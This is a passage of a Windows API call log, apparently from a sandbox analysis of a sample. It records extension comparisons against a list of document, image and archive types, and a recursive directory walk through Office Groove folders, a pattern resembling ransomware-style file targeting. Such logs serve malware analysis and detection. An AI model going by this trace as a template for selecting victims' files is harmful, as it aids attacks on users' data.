lstrlenW (lpString=".potx") returned 5 [0049.954] lstrcmpiW (lpString1=".potx", lpString2="I.XML") returned -1 [0049.954] lstrlenW (lpString=".ppa") returned 4 [0049.954] lstrcmpiW (lpString1=".ppa", lpString2=".XML") returned -1 [0049.954] lstrlenW (lpString=".ppam") returned 5 [0049.954] lstrcmpiW (lpString1=".ppam", lpString2="I.XML") returned -1 [0049.954] lstrlenW (lpString=".ppm") returned 4 [0049.954] lstrcmpiW (lpString1=".ppm", lpString2=".XML") returned -1 [0049.955] lstrlenW (lpString=".pps") returned 4 [0049.955] lstrcmpiW (lpString1=".pps", lpString2=".XML") returned -1 [0049.955] lstrlenW (lpString=".ppsm") returned 5 [0049.955] lstrcmpiW (lpString1=".ppsm", lpString2="I.XML") returned -1 [0049.955] lstrlenW (lpString=".ppt") returned 4 [0049.955] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.955] lstrlenW (lpString=".pptm") returned 5 [0049.955] lstrcmpiW (lpString1=".pptm", lpString2="I.XML") returned -1 [0049.955] lstrlenW (lpString=".pptx") returned 5 [0049.955] lstrcmpiW (lpString1=".pptx", lpString2="I.XML") returned -1 [0049.955] lstrlenW (lpString=".prn") returned 4 [0049.955] lstrcmpiW (lpString1=".prn", lpString2=".XML") returned -1 [0049.955] lstrlenW (lpString=".ps") returned 3 [0049.955] lstrcmpiW (lpString1=".ps", lpString2="XML") returned -1 [0049.955] lstrlenW (lpString=".psb") returned 4 [0049.955] lstrcmpiW (lpString1=".psb", lpString2=".XML") returned -1 [0049.955] lstrlenW (lpString=".psd") returned 4 [0049.955] lstrcmpiW (lpString1=".psd", lpString2=".XML") returned -1 [0049.955] lstrlenW (lpString=".pst") returned 4 [0049.955] lstrcmpiW (lpString1=".pst", lpString2=".XML") returned -1 [0049.955] lstrlenW (lpString=".ptx") returned 4 [0049.956] lstrcmpiW (lpString1=".ptx", lpString2=".XML") returned -1 [0049.956] lstrlenW (lpString=".pub") returned 4 [0049.956] lstrcmpiW (lpString1=".pub", lpString2=".XML") returned -1 [0049.956] lstrlenW (lpString=".pwm") returned 4 [0049.956] lstrcmpiW (lpString1=".pwm", lpString2=".XML") returned -1 [0049.956] lstrlenW (lpString=".pxr") returned 4 [0049.956] lstrcmpiW (lpString1=".pxr", lpString2=".XML") returned -1 [0049.956] lstrlenW (lpString=".py") returned 3 [0049.956] lstrcmpiW (lpString1=".py", lpString2="XML") returned -1 [0049.956] lstrlenW (lpString=".qt") returned 3 [0049.956] lstrcmpiW (lpString1=".qt", lpString2="XML") returned -1 [0049.956] lstrlenW (lpString=".r3d") returned 4 [0049.956] lstrcmpiW (lpString1=".r3d", lpString2=".XML") returned -1 [0049.956] lstrlenW (lpString=".raf") returned 4 [0049.956] lstrcmpiW (lpString1=".raf", lpString2=".XML") returned -1 [0049.956] lstrlenW (lpString=".rar") returned 4 [0049.956] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.389] FindNextFileW (in: hFindFile=0x6b4428, lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.389] FindNextFileW (in: hFindFile=0x6b4428, lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1 [0057.808] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*", lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b43e8 [0057.812] FindNextFileW (in: hFindFile=0x6b43e8, lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.814] FindNextFileW (in: hFindFile=0x6b43e8, lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x14e98550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x53b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSUI.DLL", cAlternateFileName="")) returned 1 [0062.406] FindClose (in: hFindFile=0x6b45a8 | out: hFindFile=0x6b45a8) returned 1 [0062.777] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3fa5880 | out: hHeap=0x5c0000) returned 1 [0062.916] FindNextFileW (in: hFindFile=0x6b43e8, lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolData", cAlternateFileName="")) returned 1 [0062.916] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\*", lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b45a8 [0062.917] FindNextFileW (in: hFindFile=0x6b45a8, lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.917] FindNextFileW (in: hFindFile=0x6b45a8, lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 1 [0062.917] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*", lpFindFileData=0x2edee18 | out: lpFindFileData=0x2edee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b4568 [0062.917] FindNextFileW (in: hFindFile=0x6b4568, lpFindFileData=0x2edee18 | out: lpFindFileData=0x2edee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.917] FindNextFileW (in: hFindFile=0x6b4568, lpFindFileData=0x2edee18 | out: lpFindFileData=0x2edee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calendar", cAlternateFileName="")) returned 1 [0062.918] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*", lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b45e8 [0062.919] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.919] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b62000, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4b62000, ftLastWriteTime.dwHighDateTime=0x1ca0408, nFileSizeHigh=0x0, nFileSizeLow=0x3424, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg", cAlternateFileName="CALEND~1.JPG")) returned 1 [0062.920] FindClose (in: hFindFile=0x6b45e8 | out: hFindFile=0x6b45e8) returned 1 [0062.921] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ff5890 | out: hHeap=0x5c0000) returned 1 [0062.921] FindNextFileW (in: hFindFile=0x6b4568, lpFindFileData=0x2edee18 | out: lpFindFileData=0x2edee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommonData", cAlternateFileName="COMMON~1")) returned 1 [0062.921] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*", lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b45e8 [0062.923] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.923] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633fe700, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x633fe700, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x44c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Auto.jpg", cAlternateFileName="ALERTI~3.JPG")) returned 1 [0062.924] FindClose (in: hFindFile=0x6b45e8 | out: hFindFile=0x6b45e8) returned 1 [0062.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ff5890 | out: hHeap=0x5c0000) returned 1 [0062.925] FindNextFileW (in: hFindFile=0x6b4568, lpFindFileData=0x2edee18 | out: lpFindFileData=0x2edee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1 [0062.925] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*", lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b45e8 [0062.926] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.926] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericon.jpg", cAlternateFileName="COMPUT~1.JPG")) returned 1 [0062.926] FindClose (in: hFindFile=0x6b45e8 | out: hFindFile=0x6b45e8) returned 1 [0062.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ff5890 | out: hHeap=0x5c0000) returned 1 [0062.926] FindNextFileW (in: hFindFile=0x6b4568, lpFindFileData=0x2edee18 | out: lpFindFileData=0x2edee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion", cAlternateFileName="DISCUS~1")) returned 1 [0062.926] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*", lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b45e8 [0062.927] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.927] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0009600, ftCreationTime.dwHighDateTime=0x1ca0588, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0009600, ftLastWriteTime.dwHighDateTime=0x1ca0588, nFileSizeHigh=0x0, nFileSizeLow=0x393c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImages.jpg", cAlternateFileName="DISCUS~1.JPG")) returned 1 [0062.927] FindClose (in: hFindFile=0x6b45e8 | out: hFindFile=0x6b45e8) returned 1 [0062.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ff5890 | out: hHeap=0x5c0000) returned 1 [0062.927] FindNextFileW (in: hFindFile=0x6b4568, lpFindFileData=0x2edee18 | out: lpFindFileData=0x2edee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentShare", cAlternateFileName="DOCUME~1")) returned 1 [0062.927] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*", lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b45e8 [0062.927] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.927] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab11, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolHomePageBackground.jpg", cAlternateFileName="WSSFIL~1.JPG")) returned 1 [0062.928] FindClose (in: hFindFile=0x6b45e8 | out: hFindFile=0x6b45e8) returned 1 [0062.928] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ff5890 | out: hHeap=0x5c0000) returned 1 [0062.928] FindNextFileW (in: hFindFile=0x6b4568, lpFindFileData=0x2edee18 | out: lpFindFileData=0x2edee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveDocumentReview", cAlternateFileName="GROOVE~1")) returned 1 [0062.928] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*", lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b45e8 [0062.930] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.930] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2519, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveTabImage.jpg", cAlternateFileName="ACTIVE~1.JPG")) returned 1 [0062.930] FindClose (in: hFindFile=0x6b45e8 | out: hFindFile=0x6b45e8) returned 1 [0062.931] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ff5890 | out: hHeap=0x5c0000) returned 1 [0062.931] FindNextFileW (in: hFindFile=0x6b4568, lpFindFileData=0x2edee18 | out: lpFindFileData=0x2edee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms", cAlternateFileName="GROOVE~3")) returned 1 [0062.932] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b45e8 [0062.932] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.932] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0x0, 